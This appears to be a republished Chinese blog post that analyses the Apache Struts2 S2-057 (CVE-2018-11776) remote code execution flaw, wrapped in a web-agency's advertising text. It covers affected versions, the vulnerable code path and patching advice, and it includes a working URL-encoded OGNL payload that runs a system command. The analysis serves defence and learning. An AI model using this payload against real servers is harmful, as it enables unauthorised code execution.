十年網(wǎng)站開發(fā)經(jīng)驗 + 多家企業(yè)客戶 + 靠譜的建站團隊
量身定制 + 運營維護+專業(yè)推廣+無憂售后,網(wǎng)站問題一站解決
今天就跟大家聊聊有關Apache Struts2 S2-057遠程代碼執(zhí)行漏洞實例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
讓客戶滿意是我們工作的目標,不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴,公司提供的服務項目有:域名申請、雅安服務器托管、營銷軟件、網(wǎng)站建設、日照網(wǎng)站維護、網(wǎng)站推廣。
Apache Struts框架是一個基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基于Model-View-Controller (MVC)的設計模式,可以用來構件復雜的Web應用。
它允許我們分解一個應用程序的商業(yè)邏輯、控制邏輯和表現(xiàn)邏輯的代碼,使它的重用性和維護性更好。Struts框架是Jakarta工程的一部分,由Apache軟件基金會管理。
當struts.mapper.alwaysSelectFullNamespace設置為true,并且package標簽頁以及result的param標簽頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執(zhí)行,從而產(chǎn)生遠程代碼執(zhí)行漏洞。
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
CVE-2018-11776
1.下載:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 修改配置文件struts-actionchaining.xml
該漏洞有多種攻擊向量包括:
2.1 Redirect action
2.2 Action chaining
2.3 Postback result
以第一種為例子,修改配置文件內(nèi)容為
在DefaultActionMapper這個類的parseNameAndNamespace方法里。
當alwaysSelectFullNamespace被設置為true時,namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的。
Action執(zhí)行結束之后,程序會調(diào)用ServletActionRedirectResult類中的execute()方法進行重定向Result的解析。
首先,當namespace為空時,調(diào)用invocation.getProxy().getNamespace()賦值給變量namespace,然后將變量namespace傳入ActionMapping構造函數(shù)中。
然后,ActionMapper.getUriFromActionMapping()對ActionMapping后的值進行重組,生成一個URL字符串(包含namespace),并賦值給了tmplocation變量。
緊接著將帶有namespace的tmplocation傳入了setLocation()方法中。
該方法將tmpLocation值賦值給了StrutsResultSupport類中的location變量。
然后,跟蹤super.execute()方法。
繼續(xù)跟蹤ServletActionResult類中的super.execute()。
在StrutsResultSupport類中的execute()方法中,剛剛被賦值的location變量(帶有namespace的)被傳入了conditionalParse()方法。
最終,通過TextParseUtil.translateVariables()對namespace進行OGNL解析,導致遠程代碼執(zhí)行漏洞。
1. 訪問url 為/${(111+111)}/actionChain1.action的地址。
訪問觸發(fā)OGNL表達式,url變?yōu)?222/register2.action,漏洞存在。
2. payload:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
此payload 僅適用于2.3系列版本。
官方補丁
目前官方已發(fā)布最新版本來修復此漏洞,受影響的用戶請盡快升級到Apache Struts 2.3.35 或 Struts 2.5.17版本。
https://struts.apache.org/download.cgi#struts2517
手工修復
修改配置文件:
固定package標簽頁以及result的param標簽頁的namespace值,以及禁止使用通配符。
看完上述內(nèi)容,你們對Apache Struts2 S2-057遠程代碼執(zhí)行漏洞實例分析有進一步的了解嗎?如果還想了解更多知識或者相關內(nèi)容,請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。